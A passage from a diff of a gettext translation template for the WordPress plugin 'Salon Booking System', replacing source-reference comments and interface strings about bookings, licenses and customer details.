System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_info.php:16\n+msgid \"CUSTOMER DETAILS\"\n msgstr \"\"\n \n-#: views\u002Flicense\u002Fadmin.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Flicense\u002Fadmin.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fadmin.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Flicense\u002Fadmin.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Flicense\u002Fadmin.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Flicense\u002Fadmin.php:5\n-msgid \"Salon booking plugin needs a valid license\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:38\n+msgid \"Customer details\"\n msgstr \"\"\n \n-#: views\u002Flicense\u002Fadmin.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Flicense\u002Fadmin.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fadmin.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Flicense\u002Fadmin.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Flicense\u002Fadmin.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Flicense\u002Fadmin.php:7\n-msgid \"Please insert your license key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:935\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1029\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:935\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1029\n+msgid \"Customer doesn't exists.\"\n msgstr \"\"\n \n-#: views\u002Flicense\u002Fshortcode.php:21, views\u002Fshortcode\u002Fsalon_date.php:12, views\u002Fshortcode\u002Fsalon_services.php:13, views\u002Ftrial\u002Fshortcode.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Flicense\u002Fshortcode.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fshortcode.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fshortcode.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fshortcode.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Flicense\u002Fshortcode.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fshortcode.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Flicense\u002Fshortcode.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fshortcode.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Flicense\u002Fshortcode.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fshortcode.php:19\n-msgid \"On-line booking is disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:17\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:27\n+msgid \"CUSTOMER EMAIL\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fbooking_rated.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fbooking_rated.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fbooking_rated.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fbooking_rated.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fbooking_rated.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fbooking_rated.php:11\n-msgid \"Booking was rated\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:253\n+msgid \"Customer email\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fpay_remaining_amount.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fpay_remaining_amount.php:11\n-msgid \"Payment of remaining amount of booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:952\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1046\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:952\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1046\n+msgid \"Customer email empty.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fstatus_canceled.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fstatus_canceled.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_canceled.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fstatus_canceled.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fstatus_canceled.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fstatus_canceled.php:33\n-msgid \"Booking Canceled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426\n+msgid \"Customer fidelity score\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fstatus_confirmed.php:39, src\u002FSLN\u002FPostType\u002FBooking.php:575, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:575, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fstatus_confirmed.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:575, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:560, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:575\n-msgid \"Booking confirmed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:131\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:15\n+msgid \"CUSTOMER FIRST NAME\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fstatus_pending_payment.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fstatus_pending_payment.php:11\n-msgid \"Pending payment on booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:391\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:391\n+msgid \"Customer habit\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the booking ID, %2$s will be replaced by the username\n-#: views\u002Fmail\u002Fsummary.php:40, views\u002Fmail\u002Fsummary_admin.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fsummary.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fsummary_admin.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fsummary.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fsummary_admin.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fsummary.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fsummary_admin.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fsummary.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fsummary_admin.php:63\n-msgid \"Booking #%1$s has been re-scheduled by %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118\n+msgid \"Customer has at least points as a score\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fsummary.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fsummary.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fsummary.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fsummary.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fsummary.php:33\n-msgid \"Your reservation at [SALON NAME] has been modified\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30\n+msgid \"Customer ID\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fsummary_admin.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fsummary_admin.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fsummary_admin.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fsummary_admin.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fsummary_admin.php:95\n-msgid \"New booking for \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202\n+msgid \"Customer ID.\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fsummary_admin.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fsummary_admin.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fsummary_admin.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fsummary_admin.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fsummary_admin.php:30\n-msgid \"Reservation has been modified \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:16\n+msgid \"CUSTOMER LAST NAME\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Ftemplate.php:162, views\u002Fshortcode\u002Fcontainer.php:76, views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fcontainer.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fcontainer.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fcontainer.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fcontainer.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fcontainer.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n-msgid \"Proudly powered by\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:490\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:490\n+msgid \"Customer Lifetime Value Distribution\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Ftemplate.php:162, views\u002Fshortcode\u002Fcontainer.php:78, views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fcontainer.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fcontainer.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fcontainer.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fcontainer.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Ftemplate.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fcontainer.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account.php:16\n-msgid \"Salon Booking System\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:867\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:80\n+msgid \"Customer name\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002Fweekly_report.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002Fweekly_report.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002Fweekly_report.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002Fweekly_report.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002Fweekly_report.php:10\n-msgid \"Salon Booking weekly report\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1299\n+msgid \"Customer not found\"\n msgstr \"\"\n \n-#: views\u002Fmail\u002F_add_to_calendar.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_add_to_calendar.php:6, 